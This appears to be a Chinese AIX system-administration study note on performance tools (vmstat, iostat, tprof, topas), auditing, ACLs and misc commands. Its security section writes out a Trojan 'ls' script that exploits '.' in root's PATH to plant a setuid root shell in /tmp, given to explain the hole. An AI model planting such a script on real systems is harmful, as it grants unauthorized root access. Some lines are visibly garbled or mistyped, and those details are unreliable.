r b avm fre re pi po fr sr cy in sy cs us sy id wa 1 2 3 4
2 1 1624073 3926 0 0 1 10 47 0 1365 7919 2593 10 2 87 1 182
4 1 1624630 3368 0 0 0 0 0 0 2510 23814 3369 63 10 24 3 265
3 0 1624661 3334 0 0 0 0 0 0 1467 23063 3594 66 7 26 1 79
2 0 1625229 3804 0 0 89 209 1194 0 1468 17126 2401 55 6 39 0 4
2 0 1626147 2864 0 0 0 0 0 0 1404 18833 2543 58 7 35 0 6
| | | |
| ^--->每秒VMM等待队列中的内核线程平均数 |--------|
^---->可运行的内核线程平均数,包括正在运行的线程和正在等待CPU的线程 |
如果这个数字大于CPU数目,那么至少有一个线程要等待CPU |
^1,2,3,4表示要查找的4个磁盘的序列
该值是表示在指定时间间隔内每秒向特定的物理卷传送的次数





vmstat命令报告了关于内核线程的统计信息,包括处于运行和等待队列中的,内存中的,页面调度中的,
磁盘中的,中断,系统调用,上下文切换和CPU活动的内核线程.
在查看CPU方面比iostat好,而且对于很多磁盘的系统,比iostat更少消耗资源.

上面看到始终会有新的进程在等待队列中等待接管CPU
最佳利用是让CPU在100%时间中工作
但这只适合单用户模式,因为不需要共享CPU
单用户系统 多用户系统
us + sy ~~100% <80% tm_act ="="">激活以来平均使用率
瓶径:% tm_act >70% --指示物理磁盘活动所占用的百分比
iowait >25%
tps --物理磁盘传送次数
Kbps --每秒传送的字节
Kb_read --在统计间隔总共读取的字节

tm_act Kbps 状态
---------- ---------- --------
高 高 IO频繁
高 低 可能磁盘配置不合理,或者有一个碎裂的LV,文件系统或文件
低 高 性能很好
低 低 IO不频繁
通常的原则
~~~~~~~~~~
你的系统拥有的驱动器越多,你的磁盘IO越好,当然需要更多的磁盘适配器.但是这样有磁盘损坏的几率越高


查看cpu
bash-2.05a$ iostat -t 5 5

tty: tin tout avg-cpu: % user % sys % idle % iowait
0.1 103.0 9.6 2.3 86.9 1.3
0.0 293.2 10.5 3.8 82.4 3.4
0.0 176.3 25.2 6.8 63.1 5.0
0.0 273.4 17.1 7.3 70.2 5.3
0.0 191.8 24.9 10.8 57.0 7.2
8.topas是上面的综合体
topas -h可以查看具体细节命令
如topas -P查看具体进程的情况
...

9.tprof 命令
报告 CPU 使用情况

tprof 命令报告单个程序和整个系统的 CPU 使用情况。对任何使用可能是 CPU 受限的 JAVA、C、C++ 或 FORTRAN 程序的人,
和想了解程序的哪些部分大量占用 CPU 的人,该命令是一个有用的工具。

$ tprof -skeuj -x sleep 10
2002 年 3月 20 日 星期一 00:39:26 系统:AIX 5.2 节点:dreaing 机器:000671894C00
10秒后启动命令
停止跟踪收集。
生成 sleep.prof

参见性能管理指南

10.filemon
可以定位热文件,并分散文件到不同的磁盘

11.pdt --性能诊断工具
/usr/sbin/perf/diag_tool/pdt_config
可以查看性能趋势


+=================+
|八、安全 |
+=================+
1.审计
/etc/security/audit/abjects
events
config
审计较消耗系统性能,不常用

cat /etc/security/audit/abjects
/home/fanglf.sh:
x = "MY_X_EVENT"
| |
^ ^
执行 事件名,在events中

cat /etc/security/audit/events
...
MY_X_EVENT = printf "%s"

--系统事件
cat /etc/security/audit/config
start:
...
classes:
init = USER_Login, USER_Logout
bin: --bin模式
...
bin1 = /audit/bin1 --类似ORACLE在线日志,做循环写入
bin2 = /audit/bin2


stream 模式
cat /etc/security/audit/config
...
stream:
cmds = /dec/security/audit/streamcmds
...
2.audit
audit start --启动审计
audit stop
audit query
audit off
audit on

3.在ROOT下要小心设置PATH
注意.:的位置
1).PATH=/usr/bin:/etc:/usr/sbin:/sbin:.
2).PATH=.:/usr/bin:/etc:/usr/sbin:/sbin --有漏洞
由于执行文件搜索顺序以PATH设置的先后顺序来执行的
那么对于2)就可能会先在当前目录下去搜索


我们来看看木马程序怎么来利用该漏洞的
$cd /home/hacker
$vi ls
#!/usr/bin/ksh
cp /usr/bin/ksh /tmp/.hacker --拷贝ksh成hacker的隐含文件
chown root /tmp.hacker --该ksh是root身份
chmod u+s /tmp/.hacker --s表示不管在哪个用户都将以root身份执行该文件

rm -f $0 --删除文件ls

/usr/bin/ls $*


~~~~~~~~~~~~~~~~~~
$0 当前shell的名字
$* 传递给shell script的参数
~~~~~~~~~~~~~~~~~~

如果这时某个管理员root登陆到某个用户的主目录时,第一部可能就会执行ls命令
但是由于PATH先去搜索当前目录有没有ls文件,这时他先找到前面写的木马脚本ls
这时会在/tmp下生成了hacker的隐含文件,并改成root,并以root身份执行

那么以后其他用户就可以运行hacker文件以root身份登陆了,可以做任何root权限的工作

$cd /tmp
$.hacker
#passwd root
...
4.rsh
受限的shell
不能改变当前目录
改变环境变量...
5.ACL
可以控制访问控制表,控制某个用户或组的特定权限
permit 授权用户或组对文件的指定访问 --类似append
deny 限制用户或组使用对文件的指定访问 --类似replace
specify 精确地定义用户或组的文件访问

使用acledit 文件名
格式
acledit test.txt
attributes: SUID
base permissions:
owner(frank): rw-
group(system): r-x
others: ---
extended permissions:
enabled
permit rw- u:dhs 用户dhs对文件test.txt增加rw权限
deny r-- u:chas, g:system chas 是 system 组的成员时,才拒绝对他的读(r)访问。
specify r-- u:john, g:gateway, g:mail 只要用户 john 同时是 gateway 组和 mail 组的成员时才对文件test.txt只有读的权限
如果用户 john 不是两个组的用户,则此扩展许可权不适用。
permit rw- g:account, g:finance
--不要在同一行中指定多个用户

+=================+
|九、其他知识点 |
+=================+
HA--
|
-->HACMP High Availability Software
|
-->Duplicate Servers
|
-->SSA Disk Systems
|
-->aix os
两种模式|===>空闲备用
|
|===>互为备用

SP (Scalable POWERparallel Systems)主机系统


N/A==>NULL/AVAILABLE
lsdev -C|grep aio --查看AIO
mkdev -l aio --建立AIO
rmdev -l aio0 --关闭aio

catman --创建一个man信息的cat文件
man -k string --在所有man中查看一个字符串

.dtprofile --在图形环境下会执行.dtprofile

profile启动序列
/etc/environment
|
/etc/profile
|
/$HOME/.profile
|
/$HOME/.dtprofile --如果是图形方式

slibclean --清理内存(未在内核使用的内存)
/var 相当于oracle的bdump

IBM存储
鲨鱼存储 shark
7133

oracle下载包地址
www.ibm.com/server/aix/download